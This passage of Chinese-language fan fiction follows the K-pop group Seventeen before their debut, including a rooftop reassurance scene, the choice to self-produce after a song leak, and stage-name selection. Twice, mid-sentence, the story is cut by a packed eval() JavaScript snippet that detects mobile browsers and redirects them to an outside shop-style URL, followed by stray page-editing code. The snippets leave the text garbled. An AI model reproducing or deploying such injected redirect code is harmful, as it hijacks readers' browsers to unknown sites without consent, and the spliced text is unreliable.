Dong-jin)存在严重违反专属合约基础条款及公司管理规定的行为。 该行为已触及本公司秉持的职业道德与团队信任底线,并对公司未来项目构成不可忽视的风险。基于合约相关规定及为维护公司旗下其他艺人及团队的声誉与利益,经慎重决议,本公司即日起与申东真解除一切专属合约,并永久不再录用。 本公司对于此次事件给所有关心与支持我们的粉丝带来的困扰深表歉意,并追以补偿。我们将继续加强对旗下艺人与练习生的管理与培训,坚决杜绝此类事件再次发生。感谢大家的理解与支持。 PLEDIS Entertainment 2014年1月24日 15. 15. ‘最后一块儿拼图\’ 他看着手机屏幕上公司发布的、措辞冰冷严谨的官方通告还有那则公司团体内部加黑加粗的消息通知,挑着眉扯了扯嘴角。 “重国‘聚星’娱乐公司作为PLEDIS Entertainment股东,现确定预计出道男团组合‘Seventeen’队长崔胜澈,成员尹净汉、成员洪知秀、成员文俊辉、成员权顺荣、成员全圆佑、成员李知勋、成员李硕珉、成员金珉奎、成员夫胜宽、成员崔瀚率、成员李灿、成员姜里树(待定)。” 耶咦~好危险的后缀,干什么这是? 原来那天金代理摔过来的那叠纸,不只是砸向申东真一个人的,还有他啊~。 那些清晰到可怕的交易记录,那些精准的时间点,以及姜里树毫不遮掩的直接用了自己的邮箱发给了金代理…… 本身就是金代理甩在他面前的一个警告,一次敲打。警告他,不要太过张扬,收着点不要那么高调。敲打他,安分一点,不要那么冲动,处理事哪有自己动手的。没想到是崔胜澈走在前面,好在姜里树护着孩子自己挡了上去,看来真没砸错啊。 姜里树按熄了屏幕,把脸埋进掌心,低低地呼出一口,哎一古,人在无语的时候真的会笑出来。 “和这群老狐狸打交道……真是废脑细胞啊~” 姜里树坐在公司空旷的天台上,对着首尔灰蒙蒙的天空,大大地伸了个懒腰。筋骨拉伸的细微声响里。 ‘真是不得了啊,姜叔。你什么时候,悄无声息地成了PLEDIS的股东了?’ 想想觉得不过也是,作为国内在知名的娱乐投资公司,江辰的‘聚星’娱乐本身就对韩国这个idol制造产源地重点投资了,怎么可能不对自己所在的公司投资,可是为什么公司还是这么一副捉襟见肘的穷苦样子啊?难道投进来的钱被贪了吗? 投入资金像汇入沙漠的暗河,表面上什么都没改变,只是暂时维持公司不破产而已,像是在等待一个值得投资的价值…… 价值……?啊,不会吧,“Seventeen”? 姜里树靠在冰冷的栏杆上,把目前这个七零八落的“团队”在脑子里过了一遍,只觉得现实比冬天的风还刺骨。 17人的出道企划,眼下连人头都凑不齐,现在加上他这个待定也才13个啊…… 申东真解除合约。 因合约问题姚明明和公司闹得不可开交,处境比他自己这个“待定”还要尴尬。 Samuel那孩子因为年龄太小以及迟迟不能出道的原因被他母亲带了回去,姜里树在他离开之前给了他母亲一个电话,是姜辰的,他说,‘只要Samuel想要回到娱乐圈就打这个电话吧,能帮忙的只有这么多了,余下全看Samuel自己了’。 张道允则是一声不吭的走了,谁也没通知,连什么时候回宿舍收拾的东西也不知道,没有任何留言,就连和他要好的崔胜澈也是在公司的通知下才知道张道允选择去演戏已经解约离开好几天,给他伤心坏了,现在估计在练习室的那张桌子上带着崔瀚率写diss张道允的歌吧。 姜里树想到大崔小崔脑袋抵着脑袋互相说着谴责张道允的话,嘴角不自觉地弯了一下,随即又被更深的疲惫压平。 13个人。 距离那个闪闪发光的“Seventeen”,还差整整四个身影。 姜里树不怎么在乎要离开的人……说他冷心冷肺也好,要走的人说再多都是留不住的,他付出了时间,金钱,感情,对于能不能收到回馈好像没那么重要了,他不知道自己这是怎么了……或许只是看着身边人来人往,像抓不住的沙粒,从指缝里无声无息地流走,流多了,掌心也就空了,习惯了。 其实也不是不在乎的…就连跑回家好几次的崔胜澈,在他或者公司找过去的时候,回来前那家伙总会跟家里人撒撒娇,发发牢骚,然后就会乖乖地、有点别扭地,跟着他回来。 仿佛只有这种“就算我走了但我一定会坚定的回到你身边”的牵绊,才让他觉得,自己付出的那些东西,不是扔进了无底洞,是有回响的…… 就像知勋会捏着他的指骨节说‘哥的手很适合弹奏乐器,有时间哥弹琴给我听吧,一定会有更多的灵感让哥听到的。’ 顺荣会牵着他的手走到舞蹈镜前用他讨巧般的笑容,软乎乎的拜托着他做一下他设想的动作,不论成功与否,之后一定会开心的挂在他身上说‘有哥在,我一定会想出更棒的舞蹈的!’ 圆佑会拉着他,会放心的把鼠标或者手机交给他,让他帮忙通关他始终过不去的关卡,说‘太好了!有哥在,哥就是我最后的游戏攻略秘籍!简直无敌了!’ 珉奎每次从家里回来都会带着他往厨房去,他说‘哥一定要学会这道菜哦!这样哥回家的时候做起这道菜就一定会想到我的,哥越来越想我,我们就能快快的见面了!’ 瀚率会在他疲惫的时候,拿过来妈妈给他带的法式吐司,外加一杯热可可与他分享,说:‘哥累的时候可以依靠依靠我,虽然帮不上哥什么忙,但是一份吐司,一杯热可可一个下午茶,能让哥短暂的放松一下我就很知足了。’ 胜宽是小太阳一样的存在,看起来总是综艺感满满的样子,安静起来就是窝在哥哥身边散发着香甜气息的小柑橘,会笑着说:‘我要把哥身上的竹叶夹杂着清茶香的味道变成柑橘香,这样哥闻一下就会像我一样活力满满一整天哦!’ 灿尼是个沉稳的孩子,是个像哥哥一样的忙内,是个会让他也感觉特别可靠的孩子,偶尔他也会说:‘哥也试着依靠一下我吧,哥你相信我我会好好完成的,不会让哥失望的。’ 俊辉是个古灵精怪的小猫,成功弥补了宿舍里不让养猫的遗憾,这个和他来自同一个国家的孩子成长迅速,没让他分心的同时还帮着他一起照顾弟弟们,过年想家回不去的时候他们两个就会依偎在一起说:‘有哥在好像也不是那么孤独的想家了,哥现在有我陪着不会再让哥一个人过年了哦!’ 硕珉是好骗的孩子,他说的话硕珉都会坚定不移的相信,在他小小的逗了硕珉一两次后,他还是会乖乖的相信他的话,他说:‘哥哪会骗我啊,哥总有他这么做的道理的,相信哥就对了。’ 知秀刚来的时候会偷偷的哭,被他发现后就很喜欢抱着他哭,其实被他抱住之后知秀就哭不出来了,只会深埋在他怀里闻他身上的竹叶香混着茶香味,说:‘就算睡着了也不用担心会被哥丢出去,其他人也不会过来打扰,在哥身边真的很有安全感啊。’ 净汉是最喜欢贴着他的那一个,坏心眼的小兔子每次在招惹完其他人之后都会躲到他的怀里,然后再把所有能惹得不能惹得再挑衅一遍,被人从他怀里抓出去的时候还会上演剧情剧女主分离,佯装哭泣的样子说:‘我和哥是真爱!你们不要分开我们啊~’结果只会被其他人更用力的抓走。 …… “嗡嗡——” 手机在天台冰冷的空气里振动了一下。姜里树拿起来一看,是李知勋发来的消息。 吉他小魔王:「里树哥,你在哪啊?」 吉他小魔王:「胜澈哥快哭脱水了……」 姜里树无语又好笑的盯着屏幕,尤其是最后那六个点,仿佛能从那些省略号里,清晰地看见李知勋在练习室那头,一脸无奈又头疼的表情。 树:[当队长了,居然这么开心吗?,人家可是刚刚反省想起来被金代理教训了哎~] 吉他小魔王:[是啊快“开心”死了他^_^再哭下去马上就会被我打死了,所以快点把你的位置告诉我啊!!!] 树:[啊啦搜啊啦搜!你这孩子这么着急干什么,我在天台啦:-P] 吉他小魔王:[啊,他跑出去了……应该是找你去了。] 树:[好的好的收到。] 当天台的铁门被人“哐当!”一声猛地推开,撞在墙上发出巨响回荡在楼梯间与天台时。 姜里树收起手机,转身看去。 来人果然是李知勋消息里说的那个“快哭脱水”的家伙,我们的崔胜澈先生。他的眼睛和鼻子都红彤彤的,脸上还挂着没擦干净的泪痕,像只被雨淋透了的、委屈的包子。 姜里树看着他,心里忍不住叹气:哎一古,这男人是水做的吗? 于是就在姜里树逐渐惊恐的注视下,只见那个“泪包”以百米冲刺般的速度,直直朝他冲了过来。 姜里树下意识想后退,却只来得及往旁边挪了两步,就被崔胜澈一把狠狠攥住了衣领。 崔胜澈的脚步丝毫没有减速。巨大的惯性作用下,他整个人像一颗出膛的、湿漉漉的炮弹,结结实实地撞进了姜里树怀里。 “唔——!” 姜里树被撞得一声闷哼,脚下根本稳不住,两个人咣当一声,一起重重摔倒在冰冷坚硬的天台地面上。这哪里是“泪包”,明明是个“沙包”啊,他只感觉到自己的肋骨好像断了两根,现在什么念头都没有了。 姜里树被撞得眼冒金星,后背着地的地方一片钝痛。他缓了口气,才腾出手,扶住跨坐在自己身上、却把脸死死埋进他颈窝里的那颗毛茸茸的脑袋。 他仰面看着灰蒙蒙的天空,有气无力地、带着点认命的语气问他:“澈哩啊……” 他顿了顿,吸了口凉气,“哥今天,一定是非死不可吗?” “收到消息你去哪了……!” 崔胜澈闷闷的、带着浓重鼻音的声音,从姜里树温热的颈窝里嗡嗡地传出来,分不清是因为哭得太狠,还是因为把脸埋得太紧。 “我就在天台上吹风啊。” 姜里树被压得有点气虚,但还是老老实实地回答,声音因为胸腔被压着而有点发闷。 “而且,我还是在收到任何消息之前,就已经在天台上了。” “你没事儿跑天台上来干什么?!” 崔胜澈的声音猛地拔高,从姜里树颈窝里传出来,带着一种从后怕里炸开的焦急。在韩国人的普遍印象里,“天台”这个词似乎总和一些不太好的联想绑在一起。 他从有点儿担心瞬间被放大了无数倍,变成了非常、非常深的恐惧。抓着姜里树衣领的手攥得更紧了,指节都发了白,整个人也像怕他消失一样,更加用力地死死压住他,一动不敢动。 崔胜澈现在脑子里一片空白,什么也想不进去了。那些关于突然成为队长、关于朋友离去的悲伤和烦恼,全被一股更原始、更汹涌的恐慌冲得七零八落。 他现在只死死地抓着这一个念头,就是姜里树为什么突然来天台? “吹风啊,” 姜里树被他压得声音都有点飘,衣领还被越抓越紧,但还是努力把话说完,“不然上来干嘛?还能干别……” “不能!” 他话没说完,就被崔胜澈骤然打断。那声音又急又凶,还带着没褪干净的哭腔,斩钉截铁,不容置疑。 “好好好,不能不能。” 姜里树被他这反应弄得有点哭笑不得,只觉得心口被什么东西轻轻撞了一下。他放软了声音,一边应着,一边抬手,轻轻地、一下下地拍着崔胜澈因为激动和残留的恐惧而微微颤抖的脊背。 “如果……你是因为我当了队长,心情不好……那我就不当了!” 崔胜澈的声音闷在他衣服里,带着鼻音,断断续续。 “等等,” 姜里树闻言一愣,立刻用力扶着他的肩膀,带着他一起坐起身。他稍稍使力,掰开了崔胜澈死死埋在颈窝的脸庞,这才看清对方那张糊满了泪痕、眼睛和鼻子都红透的脸。 他用双手捧住崔胜澈的脸,让他不得不直视自己,表情是前所未有的严肃。 “谁跟你说我心情不好了?” 他一字一顿地问,眉头紧蹙,“这和你当不当队长,又有什么关系?” “那你非要来天台,天台到底有谁在啊!”近乎凶狠的瞪视,仿佛姜里树不给个能让他安心的答案,他就能当场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205955|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把天台翻个底朝天。 姜里树闭了闭眼,再次睁开眼后无比郑重就和崔胜澈一条一条解释。 “胜澈,你听我说。” 他语速不快,但每个字都清晰得像在盖章。 “第一,我来天台,只是突发奇想上来看看。这毕竟是我到韩国后,为数不多能爬上来看看风景的高楼,你知道的平时我也是很懒的。收到公司和知勋消息的时候,我已经在这儿待了小一会儿了。就算你不来,我看够了,自己也会下去。” “第二,” 他顿了顿,语气更沉,也更坚定,“你能成为Seventeen的队长,是我这些天来,最最最开心的事没有之一。孩子们由你带领着向前,我只会觉得安心。” 他说完了,就那么看着崔胜澈,等他的反应。 崔胜澈还死死盯着他,胸膛起伏,半晌,才从牙缝里挤出一个带着浓重鼻音的字。 “……真的?” “千真万确。” 姜里树毫不犹豫地回答,目光没有丝毫闪躲。 “胜澈,你要知道,我想过成为Seventeen的经纪人都没有想过要成为Seventeen的队长。”姜里树抬手,用指腹很糙但很轻地擦掉崔胜澈脸上的泪痕和沾上的灰。 “我知道自己是个什么样的性格,更清楚自己几斤几两,能够成为孩子们的大哥已经是我的全部了。” “我可以是孩子们的大哥,但绝不适合成为Seventeen的队长。” “然而Seventeen交给胜澈你就不一样了,你是天生的领导者,所有人的目光都会不自觉的跟随你,你只会带领我们越来越好的,而且孩子们也早都这么认为了。” 他说着,目光稍稍抬起,越过了崔胜澈的肩膀,看向天台门口。那里,门缝后面,分明挤着几个鬼鬼祟祟的影子,还有极力压抑却还是漏出来的、窸窸窣窣的说话声和偷笑。 “未来的路,别总觉得是负担、是责任、是压力”,姜里树拍拍崔胜澈的肩膀示意他转头看向天台门口,“未来的路你身后有我,有我们,你只管带着孩子们大步向前走。” 孩子们像终于等到了信号,又像是无声地印证了姜里树的话。 下一秒,天台的铁门被“咣当”一下彻底推开,一群少年像出笼的雏鸟,呼啦啦地全涌了出来。他们默契地挤得哥哥们的身边,三三两两地、或蹲或靠着两个哥哥,借着午后稀薄的阳光取着暖,彼此低声说着话,发出细碎的笑声,大家一起享受这片刻的宁静。像一片无声的、温暖的潮汐,自然而然地围拢在他们身后。 正是在崔胜澈带领下的孩子们凭借着“明天万一就出道了”的信念下,于看似某个平常练习日里迎来了Seventeen的最后一块儿拼图——来自重国的徐明浩。 当这个清瘦挺拔的少年,通过层层测试,最终推开Seventeen练习室那扇沉重的门时,迎接他的,是所有成员毫不吝啬的、热烈的欢呼和掌声。 在人生地不熟的异国,被如此毫无保留的热情包围,徐明浩还有些腼腆,只是对着大家害羞地笑了笑。轮到做自我介绍时,他略显生涩的韩语口音,说出名字的时候还被文俊辉惊喜地当成了“老乡”,闹了个的乌龙。 这阴差阳错的第一面,让两个同样来自重国的少年,在陌生的国度里,瞬间认出了彼此灵魂里相似的坐标,就此结下了一段深厚的不解之缘。 去机场接徐明浩的是Seventeen的队长崔胜澈,和队内大哥姜里树。队长是尊重重国文化的韩国人,队里的大哥就是重国人,刚到练习室时成员们热烈的欢迎,都让不安的徐明浩渐渐放下了戒备与不安。 重国人不骗重国人,队内大哥姜里树是真大哥。队长崔胜澈在外带领队伍,大哥姜里树在内照顾孩子,还有知心‘妈妈’尹净汉,也时不时的照顾着徐明浩一些细小的情绪,95line里的忙内洪知秀更是会牵着徐明浩带着孩子们一起玩儿一起疯。 网络上已经能搜到Seventeen的相关信息了,还有目前对他们来说相当可观的一批粉丝,徐明浩偶然翻信息的时候看到过这么一句话:‘关于,Seventeen的95line是怎么带孩子的:里兜→圈养,大哥→饲养,妈妈→散养,95忙内→乱养。换个说法,大哥→看孩子们玩儿,里兜→管孩子们玩儿,妈妈→和孩子们玩儿,95忙内→玩儿孩子们。’ 徐明浩拿给姜里树看,这条评论真的让姜里树笑了好久好久…… 2014年12月15日 (未公开) 韩国PLEDIS Entertainment公司发生高层股权与人事重大变动: 重国 “长禾”集团董事长姜南与女士,以个人名义购入本公司 50% 持有股份,并重点注资大型男团预备出道企划“Seventeen”项目,全面负责该团体成员培训、出道相关一切事宜。 同期,重国 “聚星”娱乐投资有限公司(于2011年1月购入30%股份)与姜南与女士(持股50%)作为控股方,联合推举金延秀(Kim Yeon-soo)为公司新任社长,决议已获确认。 (此条信息处于公司内部决议阶段,未向公众及市场披露。) 2015年1月1日,韩国PLEDIS Entertainment公司发布大型男子团体组合“Seventeen”出道预备官宣,于本年五月正式出道。 重国“长禾”集团,董事长办公室。 宽敞的办公室里,小秘书抱着一摞刚签好的文件,还是没忍住好奇,看向办公桌前的那个身影。 “董事长,”她轻声问,“为什么选在这个时候,才决定彻底收购P社的股份,并且重注投资那个男团企划啊?” 她是这么说的:“该离开的人都离开了,心比天高的,飘忽不定的,不可抗力的,心术不端的,唯独留下的这些孩子才是配得起我的投资的。” 16. 16.出道大作战前夕 2014年12月28日 PLEDIS Entertainment 会议室 长桌尽头,正主位坐着的人,是Pledis尚未对外公布的新任社长——金延秀。 也是Seventeen的孩子们无比熟悉的,金代理。 Seventeen的孩子们分别坐在金社长的左右手两侧。他的左手边,是以队长崔胜澈为首,年龄稍长的哥哥们,气氛更偏沉稳和权衡。他的右手边,则是以姜里树带头,年纪较小的弟弟们,眼神里更多是跃跃欲试的光芒。 两人分坐两端,像两块定盘的基石。无论金社长将问题抛向哪一边,他们都能确保第一时间,给出最及时的反应。 “今天召集大家过来,是有两件事情要宣布。” 金延秀,或者说,是孩子们更熟悉的金代理——坐在主位,目光落在会议桌中央那瓶略显呆板的装饰花上,眉头微蹙,脸上带着一种混合了忧愁与决断的复杂神色。 他抬起眼,扫过桌前一张张年轻而紧绷的脸,将选择权交给孩子们。 “一个好消息,一个坏消息,你们想先知道哪个?” 所有孩子的目光,下意识地、齐刷刷地投向了金社长左手边第一个位置。那里坐着他们的主心骨,队长崔胜澈。 空气安静得能听见空调的嗡鸣、衣服的摩擦声。每一道视线里都写着无声的催促和依赖,等待着他像往常一样,代表所有人,向金社长提出那个关键的疑问。 崔胜澈迎着所有人的目光,十指相扣看向主位上的金社长。他的声音很稳,清晰地打破了沉默:“社长,请先告诉我们坏消息吧。” 他顿了顿,目光扫过身边一张张紧张的脸。 “这样,我们也好有个心理准备。” “好吧。” 金社长叹了口气。他双手交握放在桌上,目光沉静地扫过每一张骤然紧绷的年轻面孔。 “坏消息是,”他的声音在安静的会议室里格外清晰,“你们准备好的出道主打歌音源……泄露了。” 他顿了顿,给孩子们几秒钟消化这个噩耗,然后才继续道:“公司已经商讨了紧急预案。但现在,我需要听听你们的想法。” “什么紧急预案?” 姜里树的声音在压抑的寂静里响起。他目光扫过身边所有孩子们瞬间变得苍白难看的脸色,眉头紧锁地看向主位上的金社长。 金社长迎上所有孩子们的目光,没有回避,清晰地说出了两个选项。 “第一个方案:公司出面,重新寻找资源,购买歌曲版权。但你们需要重新录制所有音轨,并重新学习设计舞蹈。” 他停顿了一下,手指在桌上轻轻敲了敲。 “第二个方案:由你们自己,为团队创作全新的出道曲。从作词、作曲、编舞,到整体概念,全部由团队内部完成。公司将你们塑造成一个 ‘自给自足(Self-producing)’ 的偶像组合。” 金社长身体微微前倾,语气加重了些:“基于长远发展和团队特色考量,公司更倾向并支持第二个方案。” “社长……” 崔胜澈的声音有些干涩,他放在桌上的手不自觉地握紧了。没有立刻回应,而是抬起头,目光扫过身边每一张或震惊、或茫然、或焦虑的脸,努力保持镇定的扭头看着金社长说。 “我们……需要和孩子们商量一下。” 他不能在这样关乎所有人未来的重大抉择面前,未经商议,就独自替所有人做下决定。 “当然,没问题。” 金社长理解地点了点头,脸上没有丝毫的不悦。他拿起桌上忽然震动的手机,朝孩子们示意了一下。 “会议室留给你们商量。我去接个电话,一会儿就回来。” 他说完,便利落地起身,拉开门走了出去,将整个空间和沉重的决定权,完全留给了这群年轻的少年。 会议室的门在身后合拢的瞬间,刚才强压下的紧绷空气轰然炸开。 “要重新录的话时间根本不够啊!” “可是我们自己写歌……真的能行吗?万一搞砸了……” “第二个方案听起来很酷啊!我们自己做!” “但泄露的曲子我们练了那么久,改了有点可惜……” …… 七嘴八舌的声音混在一起,激烈地分析着两个方案的利弊,担忧和亢奋交织。崔胜澈捂着开始作痛的太阳穴,在一片喧嚷中努力分辨、提炼着那些有用的信息和情绪。 在一片嘈杂的争论声中,一个清晰却不太响亮的声音插了进来。 “选第二个方案吧。” 说话的是李知勋。他没有抬头,眼睫低垂,视线落在洁白的桌面上,却又好像穿过了桌面,落在了某个更远、更确定的地方。 “我们自己作词作曲,” 他顿了顿,声音不大,却带着一种奇异的穿透力,“自己编舞蹈。” “确定了吗,知勋?” 崔胜澈看向坐在同排的李知勋,目光严肃郑重,将周围其他声音都暂时隔开,只留下对这个关键表态的确认。 “嗯。” 李知勋抬起头,迎上崔胜澈的目光,点了点头。一旦下定决心,他的思路就变得异常清晰和务实。 “歌曲方面,我手头有一些以前的草稿和构思,重新制作和编曲,至少会比公司去外部挑选或购买新歌的速度要快。” 他语速平稳地分析道,“而且,这是我们自己的作品,版权完全自主,掌握权在我们自己手中,很放心,后续所有问题都会简单很多。” “我同意!” 还在人堆里争论时间的李硕珉,耳朵极其灵敏地捕捉到了队长和李知勋的对话。他立刻转过头,高举着手,声音响亮又干脆,脸上写满了对李知勋音乐能力的全然的信任和拥护。 “舞蹈的话!我可以设计动作!” 权顺荣自然也清晰地听到了他们的对话,更何况李知勋就坐在他旁边。他几乎是立刻举起手,眼睛亮得惊人,声音里充满了迫不及待的兴奋和自信。 有人开了团,剩下的孩子们立刻秒跟。 “大家——!” 崔胜澈站起身,拍了拍手,清脆的响声让会议室瞬间安静下来。所有目光都聚焦在他身上。 他环视了一圈,表情是前所未有的严肃,再次一字一句地确认: “都确定了吗?选第二条路,我们自己来。” “确定了吗?” “确定了!” “确定了吗。” “确定了!!” “最后问一次,确定了吗!” “确定!!!” 这三次一次比一次更响、更坚定的回答,像三声沉重的定音锤,就此敲定了Seventeen所有人未来将要踏上的、那条名为“自给自足”的漫长征途。 当金社长接完电话推门回来时,看到的是所有孩子整齐地站立在会议桌前的场景。 站在最前面的崔胜澈,代表所有人,迎上他的目光,清晰而有力地汇报道。 “金社长,我们决定好了。” 他的声音平稳,却带着整个团队凝聚起来的重量。 “我们确定,选择第二个‘自给自足’的方案。” “确定了吗?”金社长的目光缓缓扫过每一张年轻却写满坚定的脸庞,最后落在崔胜澈身上,带着欣慰,也带着一丝如释重负的期待。 “确定!!!” 这一次,回答他的不只有崔胜澈一个人。 所有孩子,从哥哥到弟弟,都昂着头,用他们汇聚在一起的、最响亮也最清晰的声音,给了他一个整齐划一、不容置疑的肯定答复。 “那真是太好了。” 金社长脸上绽开一个由衷的、轻松的笑意,连连点头,伸手示意大家。 “先坐下吧,孩子们。” 等所有人都落座后,他双手撑在桌沿,语气明显轻快了起来,“既然坏消息已经解决了,那么接下来……该告诉你们那个被耽搁的好消息了。” “公司现在正式宣布,” 金社长的声音清晰地在会议室里响起,“大型男子团体 ‘Seventeen’ 最终成员名单确认——” 他依次念出每一个名字,每一个名字落下,都像一颗星被正式点亮在Seventeen的星图上。 “队长崔胜澈,成员:尹净汉、洪知秀、文俊辉、权顺荣、全圆佑、李知勋、李硕珉、金珉奎、徐明浩、夫胜宽、崔瀚率、李灿、姜里树。” 念完最后一个名字,他停顿了一下,目光扫过每一张屏息凝神的脸。 “团体将于明年五月,正式出道。” 孩子们在听到“明年五月正式出道”的瞬间,完全压抑不住内心的狂喜,几乎是同时从座位上弹起来,爆发出震耳欲聋的欢呼声! 练习室里瞬间被兴奋的尖叫、掌声淹没。 但几秒钟后,他们立刻发现金社长的话似乎还没说完,表情也并非全然的喜悦。强大的自制力和对社长的尊重瞬间回笼,欢呼声像被按了暂停键一样,迅速收敛下去。孩子们互相使着眼色,强压下快要跳出胸膛的激动,重新坐好,一个个睁大了眼睛,屏息凝神地等待着下文。 金社长宣布完这个天大的好消息,他眼中的欣喜却很快蒙上一层清晰的忧虑。 “出道日期已经敲定,但既然你们选择了‘自给自足’的道路……” 他的声音沉了沉,“留给你们的准备时间,就真的不多了。” “所以,从这一刻起,要比以往任何时候都更加努力才行!知道了吗?” “内!!!” “好。” 金社长看着孩子们眼中重新燃起的、比刚才更加炽热和坚定的光芒,暂且将那份忧虑压回心底。他脸上浮现出真正的笑意,将那份即将到来的、属于他们的巨大喜悦,交还到他们自己手中。 他拍了拍手,用轻快而充满期待的语气宣布:“那么现在,来选择你们各自的出道艺名吧!” 金社长示意身边的助理,将一叠打印好的文件分发到每个孩子面前。 “这是公司根据你们的形象和定位,预先为你们设想的艺名提案。” 他解释道,语气温和而开放,“毕竟,这是一个将要一直跟随你们、代表你们的重要称呼。” “所以,如果不喜欢,或者有自己更中意的名字,完全可以写下来。只要公司评估后没有异议,就会通过。”他环视一周,给予孩子们充分的自由和尊重。 “内!” 孩子们齐声应道,纷纷拿起自己面前那份写满名字可能性的材料,好奇地先看了看自己的,又忍不住探头去瞧瞧身边同伴的。 “哇,这个好酷!” “哎?为什么我的听起来像大叔名……” “哥,你觉得这个怎么样?” “我这个怎么这么奇怪啊‘龙八’?” 一时间,会议室里充满了此起彼伏的惊呼、吐槽和热烈的讨论声,气氛变得异常活跃和温暖。 崔胜澈看到气氛终于放松下来,自己也暂且安了心,开始专注思考自己的艺名。但想来想去,一时也没有特别称心的。 他抬起头,目光绕过正含笑看着孩子们热烈讨论的金社长,落到了坐在他对面的姜里树身上。 这家伙,从金社长开始讲话,就几乎没怎么出声,只是安静地看着大家闹,一副“你们决定就好,我都没问题”的超然模样。 崔胜澈干脆起身,绕过桌子跑到姜里树身边,先探头看了看他手里那份几乎没怎么动的名字,然后凑到他耳边,压低了声音问:“里树啊,你觉得我用哪个比较好?是就用本名,还是用之前上Rap课时,我起的那个名字,S.Coups?” 姜里树哪会不知道崔胜澈这点小心思,就是看不得自己在一旁“偷闲”,非要把他拉进这热闹里。 他侧过头,迎着崔胜澈期待的目光,几乎没有犹豫,轻声给出了建议。 “S.Coups 。” 他念出那个英文名,发音清晰,“很好听,也是你用了这么久、自己还一直喜欢的名字。‘胜澈哩’的话就给我们叫吧,属于我们的称呼。” “好吧,就这么决定了,用‘S.COUPS’。”崔胜澈听到了满意的回答,脑袋一扬。 “那你呢?” 崔胜澈自己确定了名字,心满意足。这才低头去看姜里树纸上那个显得格外陌生的艺名提案“Apanasii”?他试着用韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205956|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语拼读出来:“阿……帕……纳西?这名字怎么那么奇怪?” “Афанасий。” 因为就不是用韩语读出来的,姜里树笑着用俄语清晰地将这个名字念了一遍,发音流畅而清晰,然后解释道:“读作‘阿法纳西’。这是我的俄语名字。” 多半是叔叔的提议。(姜辰:这个锅不背昂) “Афанасий”,崔胜澈学着姜里树的读音标准的重复了一遍,问他:“确定用这个名字吗?” 姜里树定定的看着崔胜澈就这么轻而易举的说出了自己的俄语名字,摇摇头让自己移开视线。 “当然不,用‘RISU(里树)’就好。这个名字太麻烦了。”各种意义上的麻烦。 崔胜澈赞同地点点头,没察觉到姜里树眼睛里的神色,两个核心人物的艺名算是就此敲定。 他直起身,目光投向会议室另一头依旧热闹讨论着的孩子们,心里琢磨着,不知道其他孩子的名字都想好了没有? 不太有。 “龙八?” 李硕珉看着自己纸上那个古怪的名字,眉头皱得能夹死苍蝇,“这什么啊……八条龙的唱歌功力吗?” “我不想要‘Dokyeom’。” 他身边的金珉奎也撅着嘴,一脸老大不高兴地嘟囔。 倒是坐在金珉奎另一边的徐明浩,目光落在“龙八”里的那个“八”字上,眼里流露出明显的喜欢。他犹豫了一下,小声地、试探性地问金珉奎身边的李硕珉:“硕珉哥,可以跟我换吗?我很喜欢8这个数字!” “明浩你喜欢吗?!” 李硕珉一听,眼睛瞬间亮了,刚才的愁眉苦脸一扫而光,几乎是立刻把那张纸往徐明浩面前一推,声音都轻快了起来。 “没问题的,给你!” 金珉奎坐在两人中间,看着他俩就这么高高兴兴地完成了“交易”,心里那点因为奇怪艺名而产生的别扭,也瞬间被这股干脆劲儿给冲散了。 他撇撇嘴,拿起笔,在自己的材料上干脆利落地划掉了“Dokyeom”,然后在旁边清晰地写下:“MINGYU” ——他决定,直接用本名出道。 “珉奎啊,‘Dokyeom’这个名字你真的不喜欢吗?” 李硕珉倒是觉得这个名字挺好听的,他转过身,好奇地问已经决定用本名的金珉奎。 金珉奎非常确定地摇了摇头,表情很坚决。他指了指自己刚写下的名字,“我就用 ‘MINGYU’,本名挺好的。” “那‘Dokyeom’这个名字给我吧!”李硕珉眼睛一亮,立刻接上话,声音都扬了起来。 “OK。” 金珉奎爽快地朝他比了个OK的手势,脸上是完全无所谓、甚至有点“赶紧拿走”的洒脱表情。只要李硕珉自己喜欢,他完全没意见的。 最后,金社长看了看时间,拍了拍手,清脆的响声将孩子们从热烈的讨论中唤回。他轻轻拍了拍还凑在姜里树身边的崔胜澈,示意他先回座位。 “孩子们,” 他环视一周,声音温和而清晰,“艺名都决定好了吗?” “内——!!!” 所有孩子几乎在同一时间,用响亮、整齐、充满确信的声音给出了回答。 “很好。” 金社长满意地点点头,示意助理将新的文件分发下去。 “那么现在,请你们在各自面前的这份确认文件上,在你们本名的后面,亲手写下你们刚刚确定下来的艺名。” 他强调了流程的严肃性:“公司确认后,会向你们做最终复核。一旦复核无误,这些艺名就将正式公布。” “内!”在没有比这更确定的事了。 一个月后,金社长带着助理,再次来到了那间日夜灯火通明、弥漫着汗水与创作气息的Seventeen练习室。 “孩子们,过来一下。”金社长的声音在音乐间隙中响起,平稳却带着一种不容忽视的正式感。 “内!” “既然艺名也选好了……”金社长话音未落,孩子们的眼睛已经齐刷刷地亮了起来,预感到了什么。 “……那么现在,” 他微笑着,从助理手中接过一个丝绒托盘,上面静静躺着十四枚在灯光下泛着温润光泽的银色戒指,“就请你们,互相为彼此戴上团戒吧。” “哇啊——!!!” 这句话像一个欢快的引爆符,孩子们瞬间再次炸开了锅,欢呼声、笑声和迫不及待的催促声响成一片。 十四枚纯银打造的戒指,是属于Seventeen这个团体的戒指。 